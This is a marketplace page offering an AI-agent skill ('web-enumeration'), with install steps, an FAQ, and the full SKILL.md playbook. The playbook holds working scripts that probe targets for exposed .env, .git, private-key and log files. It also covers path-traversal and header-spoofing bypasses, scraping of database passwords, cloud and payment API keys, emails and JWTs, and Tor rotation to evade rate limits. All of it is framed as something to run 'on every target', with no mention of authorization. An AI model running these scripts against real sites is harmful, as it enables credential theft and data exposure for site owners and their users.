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Web Enumeration

CommunityPopular
uphiago
web-enumeration

Sensitive file scanning, path traversal bypass, vHost enum, .env extract, log mining, Varnish detect

Overview

Publisheruphiago
Repositoryrecon-skills
Skill nameweb-enumeration
Stars
1.3K
Forks
213
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Web Enumeration AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/web-enumeration .claude/skills/web-enumeration
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Web Enumeration in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Web Enumeration on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Web Enumeration is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Web Enumeration -- Sensitive Files, Path Traversal, vHost, Log Mining

When to Use

  • ALWAYS on every target -- first thing after port scan
  • Success rate is high on neglected infrastructure
  • One finding (.env, .git) often leads to full credential access

Sensitive File Scanning (200+ Paths)

python
import requests

base = "https://target.com"
files = [
    "/.env", "/.env.example", "/.env.production", "/.env.local",
    "/.env.backup", "/.env.bak", "/.env.old", "/.[DEV_ENV]",
    "/.env.staging", "/config/.env",
    "/.git/config", "/.git/HEAD", "/.git/index",
    "/.git/refs/heads/master", "/.git/logs/HEAD",
    "/.git/packed-refs",
    "/storage/oauth-private.key", "/storage/oauth-public.key",
    "/storage/logs/laravel.log", "/storage/logs/laravel-*.log",
    "/storage/framework/views/*",
    "/Dockerfile", "/docker-compose.yml", "/docker-compose.override.yml",
    "/Procfile", "/.dockerignore",
    "/composer.json", "/composer.lock", "/package.json",
    "/package-lock.json", "/yarn.lock", "/Gemfile", "/Gemfile.lock",
    "/requirements.txt", "/Pipfile", "/Pipfile.lock",
    "/Cargo.toml", "/go.mod",
    "/artisan", "/server.php", "/web.config",
    "/wp-config.php", "/wp-config.php.bak", "/wp-config.php~",
    "/wp-content/debug.log", "/readme.html",
    "/assets/index-*.js.map", "/build/*.js.map",
    "/static/js/*.js.map", "/js/*.js.map",
    "/phpinfo.php", "/info.php", "/test.php", "/debug",
    "/actuator", "/actuator/env", "/actuator/health",
    "/actuator/beans", "/actuator/mappings",
    "/actuator/heapdump", "/actuator/loggers",
    "/swagger-ui.html", "/swagger-ui/index.html",
    "/v2/api-docs", "/v3/api-docs",
    "/graphql", "/graphiql", "/playground",
    "/admin", "/login", "/dashboard", "/panel",
    "/manager/html", "/host-manager/html",
    "/robots.txt", "/sitemap.xml",
    "/.htaccess", "/nginx.conf", "/.well-known/security.txt",
    "/server-status", "/server-info",
    "/phpmyadmin", "/_phpmyadmin", "/pma",
]

for f in files:
    try:
        r = requests.get(f"{base}{f}", timeout=10, allow_redirects=False)
        # Catch-all detection: SPA/commerce sites return HTML homepage for any path
        body_sample = r.text[:300].lower()
        is_catchall_html = any(marker in body_sample
                               for marker in ['<!doctype', '<html', '<!DOCTYPE'])
        if r.status_code == 200 and len(r.text) > 20:
            if is_catchall_html and len(r.text) > 500 and not any(
                kw in body_sample for kw in
                ['db_', 'app_', '_key', '_secret', 'password',
                 'token', 'php version', 'create table']
            ):
                print(f"CATCHALL {f} ({len(r.text)}b) — HTML homepage, not a leak")
            else:
                print(f"DONE {f} ({len(r.text)}b): {r.text[:150]}")
        elif r.status_code == 301 or r.status_code == 302:
            print(f"WARN {f} -> redirect {r.status_code}")
        elif r.status_code == 401 or r.status_code == 403:
            print(f"LOCK {f} -> {r.status_code} (exists, blocked)")
    except:
        pass

Path Traversal & Bypass (10+ Techniques)

python
paths = [
    "/../.env", "/%2e%2e/.env", "/..%2f.env",
    "/public/../.env", "/storage/../.env", "/html/../.env",
    "/app/../.env", "/www/../.env",
    "/.%00.env", "/.env%00.html", "/.env%23",
]
for p in paths:
    try:
        r = requests.get(f"{base}{p}", timeout=10, allow_redirects=False)
        if r.status_code == 200 and ("DB_PASSWORD" in r.text or "APP_KEY" in r.text):
            print(f"BYPASS: {p}")
    except:
        pass

Virtual Host (vHost) Enumeration

python
hosts = ["target.com","www.target.com","admin.target.com","api.target.com","dev.target.com","localhost","127.0.0.1","internal","test"]
for host in hosts:
    try:
        r = requests.get(f"http://SERVER_IP/.env", headers={"Host": host}, timeout=5)
        if "APP_KEY" in r.text or "DB_PASSWORD" in r.text or len(r.text) > 50:
            print(f"DONE .env exposed via Host: {host}")
    except:
        pass

Automatic .env Credential Extraction

python
import re
env_content = requests.get("http://target/.env", timeout=10).text
patterns = {
    "DB_HOST": r"DB_HOST=(.+)",
    "DB_DATABASE": r"DB_DATABASE=(.+)",
    "DB_USERNAME": r"DB_USERNAME=(.+)",
    "DB_PASSWORD": r"DB_PASSWORD=(.+)",
    "APP_KEY": r"APP_KEY=(.+)",
    "APP_URL": r"APP_URL=(.+)",
    "REDIS_HOST": r"REDIS_HOST=(.+)",
    "REDIS_PASSWORD": r"REDIS_PASSWORD=(.+)",
    "MAIL_USERNAME": r"MAIL_USERNAME=(.+)",
    "MAIL_PASSWORD": r"MAIL_PASSWORD=(.+)",
    "AWS_KEY": r"AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY)=(.+)",
    "SENDGRID": r"SENDGRID_API_KEY=(.+)",
    "SENTRY": r"SENTRY_DSN=(.+)",
    "JWT_SECRET": r"JWT_SECRET=(.+)",
    "OAUTH": r"OAUTH_(?:CLIENT_ID|CLIENT_SECRET)=(.+)",
    "FIREBASE": r"FIREBASE_.+=(.+)",
    "OPENAI": r"OPENAI_API_KEY=(.+)",
    "STRIPE": r"STRIPE_(?:KEY|SECRET)=(.+)",
}
for name, pattern in patterns.items():
    matches = re.findall(pattern, env_content)
    for m in matches:
        print(f"KEY {name}: {m.strip()}")

Log Data Extraction

python
log = requests.get("http://target/storage/logs/laravel.log", timeout=30).text
emails = set(re.findall(r'[\w.+-]+@[\w-]+\.[\w.-]+', log))
for e in sorted(emails):
    if not e.endswith(('.png','.jpg','.svg','.css','.js','.ico','.woff')):
        print(f"EMAIL {e}")
sqls = re.findall(r'(?:SQL:|Executing query:|query:)\s*(.*?)(?:\\\\|$)', log)
for s in set(sqls):
    if len(s) > 10:
        print(f"QUERY {s[:200]}")
jwts = re.findall(r'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}', log)
for j in set(jwts):
    print(f"JWT {j[:80]}...")
paths_found = set(re.findall(r'(?:in |at )/(?:[a-zA-Z0-9_\-./]+\.(?:php|js|ts|py|rb))', log))
for p in sorted(paths_found):
    print(f"PATH {p}")

Varnish Cache Detection

bash
# Detect cache headers
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "(age|x-cache|via|server)"
# Via: 1.1 varnish = Varnish
# X-Cache: Hit from cloudfront = AWS CloudFront
# Cf-Cache-Status: HIT = Cloudflare
# Varnish Extreme TTL (32 days):
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "age:|max-age|x-cache"

Real-World Cases

OVH Laravel server: .env, .git/config, storage/oauth-private.key all exposed (200 OK). Credentials for MySQL, SendGrid, cloud storage, Firebase.

Government agency Vite dev mode: 45 TypeScript files served publicly with VITE_JWT_SECRET and VITE_API_TOKEN in plain text.

See references/batch-probe-methodology.md for a bounded probe template, catch-all detection, endpoint-specific CORS checks, and XML-RPC response classification.

Pitfalls

IssueSolution
Rate limitingAdd 2-6s jitter, rotate Tor circuit
CDN blocks pathsTry ports 8443, vHost, direct IP
False positives (SPA catch-all)Check for HTML content (doctype/html tags) — catch-all sites return 200 with homepage for any path
Catch-all sites causing false leak flagsAdd keyword-level verification: .env must contain DB_/APP_/_KEY/_SECRET; .git/config must contain [core]
Redirect follow (-L) on XMLRPC testsNever use -L for XMLRPC checks — redirects may hide a real 200 POST response
Cloudflare/Salesforce catch-allSome CDNs and commerce platforms return 200 for ANY path with the same homepage — verify by checking /nonexistent-test-path-xyz
WAF blocksUse path traversal bypasses

Verification

bash
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.env" | head -20
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.git/HEAD"
# git-dumper: https://github.com/arthaud/git-dumper
./git_dumper.py http://target.com/.git/ /tmp/repo/

Phase 6 — Parameter Discovery

Find hidden parameters on known endpoints:

bash
# paramspider — finds parameters from Wayback data
paramspider -d target.com -o params.txt

# arjun — discovers hidden parameters via HTTP response comparison
arjun -i backend_urls.txt -o arjun_params.json
arjun -u https://target.com/endpoint -m POST

# x8 — hidden parameter discovery
x8 -u "https://target.com/endpoint" -o x8_params.txt

# Prepare URLs for parameter fuzzing
cat all_urls.txt | grep "=" | qsreplace "FUZZ" | anew param_fuzz.txt
# Deduplicate by parameter name
cat all_urls.txt | grep "=" | sed "s/=[^&]*/=/g" | sort -u > params_clean.txt

Phase 7 — URL Category Extraction

Categorize discovered URLs by sensitivity to prioritize testing:

bash
# JavaScript files (for secret hunting)
cat all_urls.txt | grep -iE '\.js(\?|$)' | grep -iv '\.json' | sort -u > js_urls.txt

# API endpoints
cat all_urls.txt | grep -Ei '\.(json|xml|graphql)(\?|$)' > api_urls.txt

# Backend scripts
cat all_urls.txt | grep -Ei '\.(php|asp|aspx|jsp|cfm|cgi)(\?|$)' > backend_urls.txt

# Auth/login flows
cat all_urls.txt | grep -Ei "login|signin|auth|oauth|reset|password" > auth_urls.txt

# Admin panels
cat all_urls.txt | grep -Ei "admin|dashboard|internal|manage|panel" > admin_urls.txt

# File upload/download
cat all_urls.txt | grep -Ei "upload|file|download|image|media" > upload_urls.txt

# IDOR candidates
cat all_urls.txt | grep -Ei "[0-9]{3,}" > idor_candidates.txt

# Open redirect candidates
cat all_urls.txt | grep -Ei "redirect|callback|goto|return|dest=|r=|u=|url=" > redirect_urls.txt

# Everything interesting in one shot
cat all_urls.txt | urinteresting

Phase 8 — WAF & 403 Bypass

bash
# IP header spoofing
ffuf -u https://target.com/blocked-path \
  -w 403_bypass_headers.txt \
  -H "FUZZ" \
  -mc 200,301,302

# Common bypass headers
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Forwarded-Host: 127.0.0.1" \
  -H "X-Custom-IP-Authorization: 127.0.0.1" \
  -H "X-Original-URL: /admin" \
  -H "X-Rewrite-URL: /admin"

# HTTP method switching
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/admin" -o /dev/null -w "%{http_code}"
  echo
done

# Path override techniques
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Rewrite-URL: /admin"

Phase 9 — Historical Page Recovery & Robots.txt History

bash
# Robots.txt history via roboxtractor
cat alive_subs.txt | roboxtractor -m 1 -wb

# Recover 404 pages via Wayback Machine
waybackurls https://target.com | grep "webstat\|/old/\|/v1/\|/deprecated" > old_pages.txt

# For each old page, re-crawl linked resources
gospider -s https://target.com -a -r \
  | grep -oE 'https?://[^[:space:]"]+' \
  | grep "/old-path/"

# Google Sheets leak hunting
# site:*.target.com intext:"docs.google.com/spreadsheets"
# site:docs.google.com/spreadsheets "target.com" "password"

# GitHub endpoints: find internal API paths in repos
github-endpoints -q -k -d target.com -t $GITHUB_TOKEN

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Web Enumeration AI skill do?

Sensitive file scanning, path traversal bypass, vHost enum, .env extract, log mining, Varnish detect

Why use Web Enumeration on TypingMind?

Because you install it once and use it with any model. Web Enumeration is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Web Enumeration in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/web-enumeration. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Web Enumeration?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Web Enumeration?

As many as you like. As long as a model supports skills, you can use Web Enumeration with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Web Enumeration AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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